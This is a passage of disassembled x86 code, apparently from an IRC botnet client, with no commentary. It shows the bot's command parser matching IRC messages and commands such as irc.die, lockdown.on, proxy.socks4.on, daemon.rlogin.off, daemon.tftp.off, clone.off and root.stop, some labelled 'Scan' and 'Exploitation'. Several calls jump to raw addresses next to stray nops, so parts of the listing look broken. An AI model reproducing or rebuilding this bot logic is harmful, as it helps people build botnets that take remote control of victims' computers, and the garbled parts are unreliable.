		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0

loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42E

loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE

loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_432DAC

loc_40F422:				; CODE XREF: sub_40EE72+5B47j
					; sub_40EE72+5E96j ...
		call	sub_40BFE1
		pop	ecx

loc_40F428:				; CODE XREF: sub_40EE72+5FABj
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432D7C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		cmp	dword_42F5B8, ebx
		jz	loc_414F47

loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi

loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_432D70
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432D2C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	loc_40F7EF

loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_40F659
; ---------------------------------------------------------------------------

loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1

loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB

loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax

loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------

loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]

loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_432D20
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, dword_4CD770
		mov	eax, off_42F6C8[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_432D04
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_4CD67C

loc_40F7A0:				; CODE XREF: sub_40EE72+58C1j
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_432CE0
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_432CC8
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_432C80
		jmp	loc_40F95B
; ---------------------------------------------------------------------------

loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_432C30

loc_40F813:				; CODE XREF: sub_40EE72+6177j
					; sub_40EE72+61DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432BF8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_40F933

loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------

loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset dword_432BB4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432B74
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432B34

loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239

loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47

loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F47
		xor	edi, edi
		cmp	dword_42F794, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_43FA70

loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42F794
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------

loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_432E88 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_43FA88[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_43FA70[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------

loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h

loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch

loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1

loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F

loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_0 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h

loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_432AF0 ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E

loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------

loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730C
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl

loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------

loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh

loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx

loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_432A38

loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FEA
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_432A14
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_432A04
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_4329F8
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_4329F0
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_4329E4
		push	offset dword_4329D8
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4329B4
		push	offset dword_4329A4
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_432998
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_43298C
		push	offset dword_432980
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_432970
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_432964
		push	offset dword_432958
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_432948
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_43293C
		push	offset dword_432930
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_432920
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_432914
		push	offset dword_432908
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4

loc_41004B:				; DATA XREF: ___:0042CC90o
					; ___:0042CCA4o
		push	offset aServer	; "Server"
		push	offset dword_4328EC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_43288C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_432864
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
